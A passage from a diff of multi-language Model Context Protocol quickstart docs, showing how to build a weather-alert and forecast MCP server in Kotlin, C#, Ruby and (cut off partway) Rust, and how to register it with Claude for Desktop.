+ 2. To launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar`
+
+ Save the file, and restart **Claude for Desktop**.
+
+ ## Testing your server with Java client
+
+ ### Create an MCP Client manually
+
+ Use the `McpClient` to connect to the server:
+
+ ```java theme={null}
+ var stdioParams = ServerParameters.builder("java")
+ .args("-jar", "/ABSOLUTE/PATH/TO/PARENT/FOLDER/mcp-weather-stdio-server-0.0.1-SNAPSHOT.jar")
+ .build();
+
+ var stdioTransport = new StdioClientTransport(stdioParams);
+
+ var mcpClient = McpClient.sync(stdioTransport).build();
+
+ mcpClient.initialize();
+
+ ListToolsResult toolsList = mcpClient.listTools();
+
+ CallToolResult weather = mcpClient.callTool(
+ new CallToolRequest("getWeatherForecastByLocation",
+ Map.of("latitude", "47.6062", "longitude", "-122.3321")));
+
+ CallToolResult alert = mcpClient.callTool(
+ new CallToolRequest("getAlerts", Map.of("state", "NY")));
+
+ mcpClient.closeGracefully();
+ ```
+
+ ### Use MCP Client Boot Starter
+
+ Create a new boot starter application using the `spring-ai-starter-mcp-client` dependency:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client
+
+ ```
+
+ and set the `spring.ai.mcp.client.stdio.servers-configuration` property to point to your `claude_desktop_config.json`.
+ You can reuse the existing Anthropic Desktop configuration:
+
+ ```properties theme={null}
+ spring.ai.mcp.client.stdio.servers-configuration=file:PATH/TO/claude_desktop_config.json
+ ```
+
+ When you start your client application, the auto-configuration will automatically create MCP clients from the claude\_desktop\_config.json.
+
+ For more information, see the [MCP Client Boot Starters](https://docs.spring.io/spring-ai/reference/api/mcp/mcp-server-boot-client-docs.html) reference documentation.
+
+ ## More Java MCP Server examples
+
+ The [starter-webflux-server](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/weather/starter-webflux-server) demonstrates how to create an MCP server using SSE transport.
+ It showcases how to define and register MCP Tools, Resources, and Prompts, using the Spring Boot's auto-configuration capabilities.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/weather-stdio-server)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Kotlin
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `println()`, as it writes to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### System requirements
+
+ * JDK 11 or higher installed.
+
+ ### Set up your environment
+
+ First, let's install `java` and `gradle` if you haven't already.
+ You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
+ Verify your `java` installation:
+
+ ```bash theme={null}
+ java --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+
+ After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
+
+ Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
+
+ After creating the project, replace the contents of your `build.gradle.kts` with:
+
+ ```kotlin build.gradle.kts theme={null}
+ // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
+ val mcpVersion = "0.9.0"
+ val ktorVersion = "3.2.3"
+ val slf4jVersion = "2.0.17"
+
+ plugins {
+ kotlin("jvm") version "2.3.20"
+ kotlin("plugin.serialization") version "2.3.20"
+ id("com.gradleup.shadow") version "8.3.9"
+ application
+ }
+
+ application {
+ mainClass.set("MainKt")
+ }
+
+ dependencies {
+ implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
+ implementation("io.ktor:ktor-client-content-negotiation:$ktorVersion")
+ implementation("io.ktor:ktor-serialization-kotlinx-json:$ktorVersion")
+ implementation("io.ktor:ktor-client-cio:$ktorVersion")
+ implementation("org.slf4j:slf4j-simple:$slf4jVersion")
+ }
+ ```
+
+ Verify that everything is set up correctly:
+
+ ```bash theme={null}
+ ./gradlew build
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Setting up the instance
+
+ Add a server initialization function:
+
+ ```kotlin theme={null}
+ fun runMcpServer() {
+ val server = Server(
+ Implementation(
+ name = "weather",
+ version = "1.0.0",
+ ),
+ ServerOptions(
+ capabilities = ServerCapabilities(tools = ServerCapabilities.Tools(listChanged = true)),
+ ),
+ )
+
+ // register tools on server here
+
+ val transport = StdioServerTransport(
+ System.`in`.asInput(),
+ System.out.asSink().buffered(),
+ )
+
+ runBlocking {
+ val session = server.createSession(transport)
+ val done = Job()
+ session.onClose {
+ done.complete()
+ }
+ done.join()
+ }
+ }
+ ```
+
+ ### Weather API helper functions
+
+ Next, let's add functions and data classes for querying and converting responses from the National Weather Service API:
+
+ ```kotlin theme={null}
+ val httpClient = HttpClient(CIO) {
+ defaultRequest {
+ url("https://api.weather.gov")
+ headers {
+ append("Accept", "application/geo+json")
+ append("User-Agent", "WeatherApiClient/1.0")
+ }
+ contentType(ContentType.Application.Json)
+ }
+ install(ContentNegotiation) {
+ json(Json { ignoreUnknownKeys = true })
+ }
+ }
+
+ // Extension function to fetch weather alerts for a given state
+ suspend fun HttpClient.getAlerts(state: String): List {
+ val alerts = this.get("/alerts/active/area/$state").body()
+ return alerts.features.map { feature ->
+ """
+ Event: ${feature.properties.event}
+ Area: ${feature.properties.areaDesc}
+ Severity: ${feature.properties.severity}
+ Status: ${feature.properties.status}
+ Headline: ${feature.properties.headline}
+ """.trimIndent()
+ }
+ }
+
+ // Extension function to fetch forecast information for given latitude and longitude
+ suspend fun HttpClient.getForecast(latitude: Double, longitude: Double): List {
+ val points = this.get("/points/$latitude,$longitude").body()
+ val forecastUrl = points.properties.forecast ?: error("No forecast URL available")
+ val forecast = this.get(forecastUrl).body()
+ return forecast.properties.periods.map { period ->
+ """
+ ${period.name}:
+ Temperature: ${period.temperature}°${period.temperatureUnit}
+ Wind: ${period.windSpeed} ${period.windDirection}
+ ${period.shortForecast}
+ """.trimIndent()
+ }
+ }
+
+ @Serializable
+ data class PointsResponse(val properties: PointsProperties)
+
+ @Serializable
+ data class PointsProperties(val forecast: String? = null)
+
+ @Serializable
+ data class ForecastResponse(val properties: ForecastProperties)
+
+ @Serializable
+ data class ForecastProperties(val periods: List = emptyList())
+
+ @Serializable
+ data class ForecastPeriod(
+ val name: String? = null,
+ val temperature: Int? = null,
+ val temperatureUnit: String? = null,
+ val windSpeed: String? = null,
+ val windDirection: String? = null,
+ val shortForecast: String? = null,
+ )
+
+ @Serializable
+ data class AlertsResponse(val features: List = emptyList())
+
+ @Serializable
+ data class AlertFeature(val properties: AlertProperties)
+
+ @Serializable
+ data class AlertProperties(
+ val event: String? = null,
+ val areaDesc: String? = null,
+ val severity: String? = null,
+ val status: String? = null,
+ val headline: String? = null,
+ )
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```kotlin theme={null}
+ // Register weather tools
+
+ server.addTool(
+ name = "get_alerts",
+ description = "Get weather alerts for a US state. Input is a two-letter US state code (e.g. CA, NY)",
+ inputSchema = ToolSchema(
+ properties = buildJsonObject {
+ putJsonObject("state") {
+ put("type", "string")
+ put("description", "Two-letter US state code (e.g. CA, NY)")
+ }
+ },
+ required = listOf("state"),
+ ),
+ ) { request ->
+ val state = request.arguments?.get("state")?.jsonPrimitive?.content
+ ?: return@addTool CallToolResult(
+ content = listOf(TextContent("The 'state' parameter is required.")),
+ )
+
+ val alerts = httpClient.getAlerts(state)
+ CallToolResult(content = alerts.map { TextContent(it) })
+ }
+
+ server.addTool(
+ name = "get_forecast",
+ description = "Get weather forecast for a location. Note: only US locations are supported by the NWS API.",
+ inputSchema = ToolSchema(
+ properties = buildJsonObject {
+ putJsonObject("latitude") {
+ put("type", "number")
+ put("description", "Latitude of the location")
+ }
+ putJsonObject("longitude") {
+ put("type", "number")
+ put("description", "Longitude of the location")
+ }
+ },
+ required = listOf("latitude", "longitude"),
+ ),
+ ) { request ->
+ val latitude = request.arguments?.get("latitude")?.jsonPrimitive?.doubleOrNull
+ val longitude = request.arguments?.get("longitude")?.jsonPrimitive?.doubleOrNull
+ if (latitude == null || longitude == null) {
+ return@addTool CallToolResult(
+ content = listOf(TextContent("The 'latitude' and 'longitude' parameters are required.")),
+ )
+ }
+
+ val forecast = httpClient.getForecast(latitude, longitude)
+ CallToolResult(content = forecast.map { TextContent(it) })
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```kotlin theme={null}
+ fun main() = runMcpServer()
+ ```
+
+ You can run the server directly during development:
+
+ ```bash theme={null}
+ ./gradlew run
+ ```
+
+ For production use, build the shadow JAR:
+
+ ```bash theme={null}
+ ./gradlew build
+ java -jar build/libs/weather-0.1.0-all.jar
+ ```
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-06-18/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use.
+ To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor.
+ Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key.
+ The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "java",
+ "args": [
+ "-jar",
+ "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "java",
+ "args": [
+ "-jar",
+ "C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\libs\\weather-0.1.0-all.jar"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar`
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartWeatherServer)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * C#
+ * LLMs like Claude
+ * .NET 8 or higher
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `Console.WriteLine()` or `Console.Write()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### System requirements
+
+ * [.NET 8 SDK](https://dotnet.microsoft.com/download/dotnet/8.0) or higher installed.
+
+ ### Set up your environment
+
+ First, let's install `dotnet` if you haven't already. You can download `dotnet` from [official Microsoft .NET website](https://dotnet.microsoft.com/download/). Verify your `dotnet` installation:
+
+ ```bash theme={null}
+ dotnet --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+ # Initialize a new C# project
+ dotnet new console
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+ # Initialize a new C# project
+ dotnet new console
+ ```
+
+
+ After running `dotnet new console`, you will be presented with a new C# project.
+ You can open the project in your favorite IDE, such as [Visual Studio](https://visualstudio.microsoft.com/) or [Rider](https://www.jetbrains.com/rider/).
+ Alternatively, you can create a C# application using the [Visual Studio project wizard](https://learn.microsoft.com/en-us/visualstudio/get-started/csharp/tutorial-console?view=vs-2022).
+ After creating the project, add NuGet package for the Model Context Protocol SDK and hosting:
+
+ ```bash theme={null}
+ # Add the Model Context Protocol SDK NuGet package
+ dotnet add package ModelContextProtocol --prerelease
+ # Add the .NET Hosting NuGet package
+ dotnet add package Microsoft.Extensions.Hosting
+ ```
+
+ Now let’s dive into building your server.
+
+ ## Building your server
+
+ Open the `Program.cs` file in your project and replace its contents with the following code:
+
+ ```csharp theme={null}
+ using Microsoft.Extensions.DependencyInjection;
+ using Microsoft.Extensions.Hosting;
+ using ModelContextProtocol;
+ using System.Net.Http.Headers;
+
+ var builder = Host.CreateEmptyApplicationBuilder(settings: null);
+
+ builder.Services.AddMcpServer()
+ .WithStdioServerTransport()
+ .WithToolsFromAssembly();
+
+ builder.Services.AddSingleton(_ =>
+ {
+ var client = new HttpClient() { BaseAddress = new Uri("https://api.weather.gov") };
+ client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("weather-tool", "1.0"));
+ return client;
+ });
+
+ var app = builder.Build();
+
+ await app.RunAsync();
+ ```
+
+
+ When creating the `ApplicationHostBuilder`, ensure you use `CreateEmptyApplicationBuilder` instead of `CreateDefaultBuilder`. This ensures that the server does not write any additional messages to the console. This is only necessary for servers using STDIO transport.
+
+
+ This code sets up a basic console application that uses the Model Context Protocol SDK to create an MCP server with standard I/O transport.
+
+ ### Weather API helper functions
+
+ Create an extension class for `HttpClient` which helps simplify JSON request handling:
+
+ ```csharp theme={null}
+ using System.Text.Json;
+
+ internal static class HttpClientExt
+ {
+ public static async Task ReadJsonDocumentAsync(this HttpClient client, string requestUri)
+ {
+ using var response = await client.GetAsync(requestUri);
+ response.EnsureSuccessStatusCode();
+ return await JsonDocument.ParseAsync(await response.Content.ReadAsStreamAsync());
+ }
+ }
+ ```
+
+ Next, define a class with the tool execution handlers for querying and converting responses from the National Weather Service API:
+
+ ```csharp theme={null}
+ using ModelContextProtocol.Server;
+ using System.ComponentModel;
+ using System.Globalization;
+ using System.Text.Json;
+
+ namespace QuickstartWeatherServer.Tools;
+
+ [McpServerToolType]
+ public static class WeatherTools
+ {
+ [McpServerTool, Description("Get weather alerts for a US state code.")]
+ public static async Task GetAlerts(
+ HttpClient client,
+ [Description("The US state code to get alerts for.")] string state)
+ {
+ using var jsonDocument = await client.ReadJsonDocumentAsync($"/alerts/active/area/{state}");
+ var jsonElement = jsonDocument.RootElement;
+ var alerts = jsonElement.GetProperty("features").EnumerateArray();
+
+ if (!alerts.Any())
+ {
+ return "No active alerts for this state.";
+ }
+
+ return string.Join("\n--\n", alerts.Select(alert =>
+ {
+ JsonElement properties = alert.GetProperty("properties");
+ return $"""
+ Event: {properties.GetProperty("event").GetString()}
+ Area: {properties.GetProperty("areaDesc").GetString()}
+ Severity: {properties.GetProperty("severity").GetString()}
+ Description: {properties.GetProperty("description").GetString()}
+ Instruction: {properties.GetProperty("instruction").GetString()}
+ """;
+ }));
+ }
+
+ [McpServerTool, Description("Get weather forecast for a location.")]
+ public static async Task GetForecast(
+ HttpClient client,
+ [Description("Latitude of the location.")] double latitude,
+ [Description("Longitude of the location.")] double longitude)
+ {
+ var pointUrl = string.Create(CultureInfo.InvariantCulture, $"/points/{latitude},{longitude}");
+ using var jsonDocument = await client.ReadJsonDocumentAsync(pointUrl);
+ var forecastUrl = jsonDocument.RootElement.GetProperty("properties").GetProperty("forecast").GetString()
+ ?? throw new Exception($"No forecast URL provided by {client.BaseAddress}points/{latitude},{longitude}");
+
+ using var forecastDocument = await client.ReadJsonDocumentAsync(forecastUrl);
+ var periods = forecastDocument.RootElement.GetProperty("properties").GetProperty("periods").EnumerateArray();
+
+ return string.Join("\n---\n", periods.Select(period => $"""
+ {period.GetProperty("name").GetString()}
+ Temperature: {period.GetProperty("temperature").GetInt32()}°F
+ Wind: {period.GetProperty("windSpeed").GetString()} {period.GetProperty("windDirection").GetString()}
+ Forecast: {period.GetProperty("detailedForecast").GetString()}
+ """));
+ }
+ }
+ ```
+
+ ### Running the server
+
+ Finally, run the server using the following command:
+
+ ```bash theme={null}
+ dotnet run
+ ```
+
+ This will start the server and listen for incoming requests on standard input/output.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-06-18/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version
+ here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "dotnet",
+ "args": ["run", "--project", "/ABSOLUTE/PATH/TO/PROJECT", "--no-build"]
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "dotnet",
+ "args": [
+ "run",
+ "--project",
+ "C:\\ABSOLUTE\\PATH\\TO\\PROJECT",
+ "--no-build"
+ ]
+ }
+ }
+ }
+ ```
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `dotnet run /ABSOLUTE/PATH/TO/PROJECT`
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Ruby
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `puts` or `print`, as they write to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files.
+
+ ### Quick Examples
+
+ ```ruby theme={null}
+ # ❌ Bad (STDIO)
+ puts "Processing request"
+
+ # ✅ Good (STDIO)
+ require "logger"
+ logger = Logger.new($stderr)
+ logger.info("Processing request")
+ ```
+
+ ### System requirements
+
+ * Ruby 2.7 or higher installed.
+
+ ### Set up your environment
+
+ First, let's make sure you have Ruby installed. You can check by running:
+
+ ```bash theme={null}
+ ruby --version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Create a Gemfile
+ bundle init
+
+ # Add the MCP SDK dependency
+ bundle add mcp
+
+ # Create our server file
+ touch weather.rb
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Create a Gemfile
+ bundle init
+
+ # Add the MCP SDK dependency
+ bundle add mcp
+
+ # Create our server file
+ new-item weather.rb
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and setting up constants
+
+ Open `weather.rb` and add these requires and constants at the top:
+
+ ```ruby theme={null}
+ require "json"
+ require "mcp"
+ require "net/http"
+ require "uri"
+
+ NWS_API_BASE = "https://api.weather.gov"
+ USER_AGENT = "weather-app/1.0"
+ ```
+
+ The `mcp` gem provides the Model Context Protocol SDK for Ruby, with classes for server implementation and stdio transport.
+
+ ### Helper methods
+
+ Next, let's add helper methods for querying and formatting data from the National Weather Service API:
+
+ ```ruby theme={null}
+ module HelperMethods
+ def make_nws_request(url)
+ uri = URI(url)
+ request = Net::HTTP::Get.new(uri)
+ request["User-Agent"] = USER_AGENT
+ request["Accept"] = "application/geo+json"
+
+ response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|
+ http.request(request)
+ end
+
+ raise "HTTP #{response.code}: #{response.message}" unless response.is_a?(Net::HTTPSuccess)
+
+ JSON.parse(response.body)
+ end
+
+ def format_alert(feature)
+ properties = feature["properties"]
+
+ <<~ALERT
+ Event: #{properties["event"] || "Unknown"}
+ Area: #{properties["areaDesc"] || "Unknown"}
+ Severity: #{properties["severity"] || "Unknown"}
+ Description: #{properties["description"] || "No description available"}
+ Instructions: #{properties["instruction"] || "No specific instructions provided"}
+ ALERT
+ end
+ end
+ ```
+
+ ### Implementing tool execution
+
+ Now let's define our tool classes. Each tool subclasses `MCP::Tool` and implements the tool logic:
+
+ ```ruby theme={null}
+ class GetAlerts < MCP::Tool
+ extend HelperMethods
+
+ tool_name "get_alerts"
+ description "Get weather alerts for a US state"
+ input_schema(
+ properties: {
+ state: {
+ type: "string",
+ description: "Two-letter US state code (e.g. CA, NY)"
+ }
+ },
+ required: ["state"]
+ )
+
+ def self.call(state:)
+ url = "#{NWS_API_BASE}/alerts/active/area/#{state.upcase}"
+ data = make_nws_request(url)
+
+ if data["features"].empty?
+ return MCP::Tool::Response.new([{
+ type: "text",
+ text: "No active alerts for this state."
+ }])
+ end
+
+ alerts = data["features"].map { |feature| format_alert(feature) }
+ MCP::Tool::Response.new([{
+ type: "text",
+ text: alerts.join("\n---\n")
+ }])
+ end
+ end
+
+ class GetForecast < MCP::Tool
+ extend HelperMethods
+
+ tool_name "get_forecast"
+ description "Get weather forecast for a location"
+ input_schema(
+ properties: {
+ latitude: {
+ type: "number",
+ description: "Latitude of the location"
+ },
+ longitude: {
+ type: "number",
+ description: "Longitude of the location"
+ }
+ },
+ required: ["latitude", "longitude"]
+ )
+
+ def self.call(latitude:, longitude:)
+ # First get the forecast grid endpoint.
+ points_url = "#{NWS_API_BASE}/points/#{latitude},#{longitude}"
+ points_data = make_nws_request(points_url)
+
+ # Get the forecast URL from the points response.
+ forecast_url = points_data["properties"]["forecast"]
+ forecast_data = make_nws_request(forecast_url)
+
+ # Format the periods into a readable forecast.
+ periods = forecast_data["properties"]["periods"]
+ forecasts = periods.first(5).map do |period|
+ <<~FORECAST
+ #{period["name"]}:
+ Temperature: #{period["temperature"]}°#{period["temperatureUnit"]}
+ Wind: #{period["windSpeed"]} #{period["windDirection"]}
+ Forecast: #{period["detailedForecast"]}
+ FORECAST
+ end
+
+ MCP::Tool::Response.new([{
+ type: "text",
+ text: forecasts.join("\n---\n")
+ }])
+ end
+ end
+ ```
+
+ ### Running the server
+
+ Finally, initialize and run the server:
+
+ ```ruby theme={null}
+ server = MCP::Server.new(
+ name: "weather",
+ version: "1.0.0",
+ tools: [GetAlerts, GetForecast]
+ )
+
+ transport = MCP::Server::Transports::StdioTransport.new(server)
+ transport.open
+ ```
+
+ Your server is complete! Run `bundle exec ruby weather.rb` to start the MCP server, which will listen for messages from MCP hosts.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-06-18/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "bundle",
+ "args": ["exec", "ruby", "weather.rb"],
+ "cwd": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "bundle",
+ "args": ["exec", "ruby", "weather.rb"],
+ "cwd": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your project directory in the `cwd` field. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running `bundle exec ruby weather.rb` in the specified directory
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Rust programming language
+ * Async/await in Rust
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `println!()` or `print!()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use a logging library that writes to stderr or files, such as `tracing` or `log` in Rust.
+ * Configure your logging framework to avoid stdout output.
+
+ ### Quick Examples
+
+ ```rust theme={null}
+ // ❌ Bad (STDIO)
+ println!("Processing request");
+
+ // ✅ Good (STDIO)
+ eprintln!("Processing request"); // writes to stderr
+ ```
+
+ ### System requirements
+
+ * Rust 1.70 or higher installed.
+ * Cargo (comes with Rust installation).
+
+ ### Set up your environment
+
+ First, let's install Rust if you haven't already. You can install Rust from [rust-lang.org](https://www.rust-lang.org/tools/install):
+
+
+ ```bash macOS/Linux theme={null}
+ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
+ ```
+
+ ```powershell Windows theme={null}
+ # Download and run rustup-init.exe from https://rustup.rs/
+ ```
+
+
+ Verify your Rust installation:
+
+ ```bash theme={null}
+ rustc --version
+ cargo --version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new Rust project
+ cargo new weather
+ cd weather
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new Rust project
+ cargo new weather
+ cd weather
+ ```
+
+
+ Update your `Cargo.toml` to add the required dependencies:
+
+ ```toml Cargo.toml theme={null}
+ [package]
+ name = "weather"
+ version = "0.1.0"
+ edition = "2024"
+
+ [dependencies]
+ rmcp = { version = "0.3", features = ["server", "macros", "transport-io"] }
+ tokio = { version = "1.46", features = ["full"] }
+ reqwest = { version = "0.12", features = ["json"] }
+ serde = { version = "1.0", features = ["derive"] }
+ serde_json = "1.0"
+ anyhow = "1.0"
+ tracing = "0.1"
+ tracing-subscriber = { version = "0.3", features = ["env-filter", "std", "fmt"] }
+ ```
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and constants
+
+ Open `src/main.rs` and add these imports and constants at the top:
+
+ ```rust theme={null}
+ use anyhow::Result;
+ use rmcp::{
+ ServerHandler, ServiceExt,
+ handler::server::{router::tool::ToolRouter, tool::Parameters},
+ model::*,
+ schemars, tool, tool_handler, tool_router,
+ };
+ use serde::Deserialize;
+ use serde::de::DeserializeOwned;
+
+ const NWS_API_BASE: &str = "https://api.weather.gov";
+ const USER_AGENT: &str = "weather-app/1.0";
+ ```
+
+ The `rmcp` crate provides the Model Context Protocol SDK for Rust, with features for server implementation, procedural macros, and stdio transport.
+
+ ### Data structures
+
+ Next, let's define the data structures for deserializing responses from the National Weather Service API:
+
+ ```rust theme={null}
+ #[derive(Debug, Deserialize)]
+ struct AlertsResponse {
+ features: Vec,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct AlertFeature {
+ properties: AlertProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct AlertProperties {
+ event: Option,
+ #[serde(rename = "areaDesc")]
+ area_desc: Option,
+ severity: Option,
+ description: Option,
+ instruction: Option,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct PointsResponse {
+ properties: PointsProperties,
+ }
+
+ #[derive(Debug, Deserialize)]
+ struct PointsProperties {
+ forecast: String,
+ }
+
